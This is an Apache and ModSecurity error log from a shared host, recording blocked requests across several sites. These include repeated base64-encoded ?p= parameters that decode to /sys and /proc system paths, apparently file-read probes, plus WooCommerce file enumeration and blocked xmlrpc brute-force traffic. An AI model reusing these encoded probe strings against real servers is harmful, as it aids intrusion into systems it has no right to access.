https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:14:57.672660 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:14:57.681464 2026] [security2:error] [pid 646876:tid 646891] [remote 17.241.75.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygdyTkdrNlD40tSGaAwAAdww"] [Sat Jun 13 18:14:57.738606 2026] [access_compat:error] [pid 646876:tid 646906] [remote 216.73.216.182:1416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:57.738907 2026] [access_compat:error] [pid 646876:tid 646906] [remote 216.73.216.182:1416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:57.742489 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-product.php [Sat Jun 13 18:14:57.743693 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-settings-api.php [Sat Jun 13 18:14:57.744744 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-order.php [Sat Jun 13 18:14:57.745785 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-payment-gateway.php [Sat Jun 13 18:14:57.746769 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-integration.php [Sat Jun 13 18:14:57.747748 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-session.php [Sat Jun 13 18:14:57.748700 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-shipping-method.php [Sat Jun 13 18:14:57.749796 2026] [access_compat:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/abstracts/abstract-wc-widget.php [Sat Jun 13 18:14:57.771303 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-reports.php [Sat Jun 13 18:14:57.772036 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-products.php [Sat Jun 13 18:14:57.785322 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-coupons.php [Sat Jun 13 18:14:57.786077 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/interface-wc-api-handler.php [Sat Jun 13 18:14:57.786755 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-webhooks.php [Sat Jun 13 18:14:57.787044 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-profile.php [Sat Jun 13 18:14:57.787454 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-exception.php [Sat Jun 13 18:14:57.788196 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-taxes.php [Sat Jun 13 18:14:57.788587 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-api-keys.php [Sat Jun 13 18:14:57.788907 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-json-handler.php [Sat Jun 13 18:14:57.789720 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-authentication.php [Sat Jun 13 18:14:57.790076 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-setup-wizard.php [Sat Jun 13 18:14:57.790416 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-resource.php [Sat Jun 13 18:14:57.791232 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-taxonomies.php [Sat Jun 13 18:14:57.791293 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-orders.php [Sat Jun 13 18:14:57.792272 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-customers.php [Sat Jun 13 18:14:57.793165 2026] [access_compat:error] [pid 646876:tid 646910] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/class-wc-api-server.php [Sat Jun 13 18:14:57.818459 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-duplicate-product.php [Sat Jun 13 18:14:57.819841 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin.php [Sat Jun 13 18:14:57.822885 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-pointers.php [Sat Jun 13 18:14:57.825614 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-notices.php [Sat Jun 13 18:14:57.827993 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-meta-boxes.php [Sat Jun 13 18:14:57.830039 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-permalink-settings.php [Sat Jun 13 18:14:57.832178 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-addons.php [Sat Jun 13 18:14:57.833975 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/wc-meta-box-functions.php [Sat Jun 13 18:14:57.835698 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-importers.php [Sat Jun 13 18:14:57.837374 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-api-keys-table-list.php [Sat Jun 13 18:14:57.838752 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-reports.php [Sat Jun 13 18:14:57.839883 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-attributes.php [Sat Jun 13 18:14:57.865896 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-help.php [Sat Jun 13 18:14:57.900657 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-menus.php [Sat Jun 13 18:14:57.901998 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-settings.php [Sat Jun 13 18:14:57.903172 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-webhooks.php [Sat Jun 13 18:14:57.934941 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-dashboard.php [Sat Jun 13 18:14:57.936438 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-assets.php [Sat Jun 13 18:14:57.937989 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-post-types.php [Sat Jun 13 18:14:57.939336 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/wc-admin-functions.php [Sat Jun 13 18:14:57.983781 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-status.php [Sat Jun 13 18:14:57.985735 2026] [access_compat:error] [pid 646876:tid 646887] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-webhooks-table-list.php [Sat Jun 13 18:14:58.066594 2026] [security2:error] [pid 646876:tid 646928] [remote 17.246.19.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygtyTkdrNlD40tSGaHwAARjE"] [Sat Jun 13 18:14:58.071018 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-order.php [Sat Jun 13 18:14:58.071930 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-exception.php [Sat Jun 13 18:14:58.072016 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email.php [Sat Jun 13 18:14:58.072952 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-command.php [Sat Jun 13 18:14:58.072968 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-completed-order.php [Sat Jun 13 18:14:58.073762 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-product-category.php [Sat Jun 13 18:14:58.073867 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-failed-order.php [Sat Jun 13 18:14:58.074671 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-product.php [Sat Jun 13 18:14:58.074785 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-new-order.php [Sat Jun 13 18:14:58.075461 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-customer.php [Sat Jun 13 18:14:58.075664 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-reset-password.php [Sat Jun 13 18:14:58.076170 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-tax.php [Sat Jun 13 18:14:58.076578 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-note.php [Sat Jun 13 18:14:58.076870 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-tool.php [Sat Jun 13 18:14:58.077472 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-processing-order.php [Sat Jun 13 18:14:58.077602 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-report.php [Sat Jun 13 18:14:58.078234 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/cli/class-wc-cli-coupon.php [Sat Jun 13 18:14:58.078388 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-new-account.php [Sat Jun 13 18:14:58.079357 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-invoice.php [Sat Jun 13 18:14:58.080284 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-cancelled-order.php [Sat Jun 13 18:14:58.081315 2026] [access_compat:error] [pid 646876:tid 646926] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/emails/class-wc-email-customer-refunded-order.php [Sat Jun 13 18:14:58.199691 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:14:58.200141 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNl [Sat Jun 13 18:14:58.288057 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.30:46716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:58.288317 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.30:46716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:58.341321 2026] [access_compat:error] [pid 646876:tid 646945] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/libraries/class-emogrifier.php [Sat Jun 13 18:14:58.345914 2026] [access_compat:error] [pid 646876:tid 646947] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shortcodes/class-wc-shortcode-order-tracking.php [Sat Jun 13 18:14:58.346797 2026] [access_compat:error] [pid 646876:tid 646947] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shortcodes/class-wc-shortcode-cart.php [Sat Jun 13 18:14:58.347538 2026] [access_compat:error] [pid 646876:tid 646947] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shortcodes/class-wc-shortcode-my-account.php [Sat Jun 13 18:14:58.348546 2026] [access_compat:error] [pid 646876:tid 646947] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shortcodes/class-wc-shortcode-checkout.php [Sat Jun 13 18:14:58.417513 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.62:59630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:58.417927 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.62:59630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:58.532572 2026] [access_compat:error] [pid 646876:tid 646957] [remote 57.141.14.109:55396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:58.532888 2026] [access_compat:error] [pid 646876:tid 646957] [remote 57.141.14.109:55396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:58.591953 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.227.22:41330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL3Jvb3Q= [Sat Jun 13 18:14:58.592367 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.227.22:41330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL3Jvb3Q= [Sat Jun 13 18:14:58.628060 2026] [security2:error] [pid 646876:tid 647013] [client 172.56.168.133:24892] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ygtyTkdrNlD40tSGaUQAAAAU"] [Sat Jun 13 18:14:58.628231 2026] [security2:error] [pid 646876:tid 647013] [client 172.56.168.133:24892] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ygtyTkdrNlD40tSGaUQAAAAU"] [Sat Jun 13 18:14:58.645436 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.67:37971] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:58.645734 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.67:37971] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:58.674363 2026] [security2:error] [pid 646876:tid 646975] [remote 17.241.75.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygtyTkdrNlD40tSGaVAAAE2A"] [Sat Jun 13 18:14:58.711548 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:14:58.711836 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:14:58.861125 2026] [access_compat:error] [pid 646876:tid 646981] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: 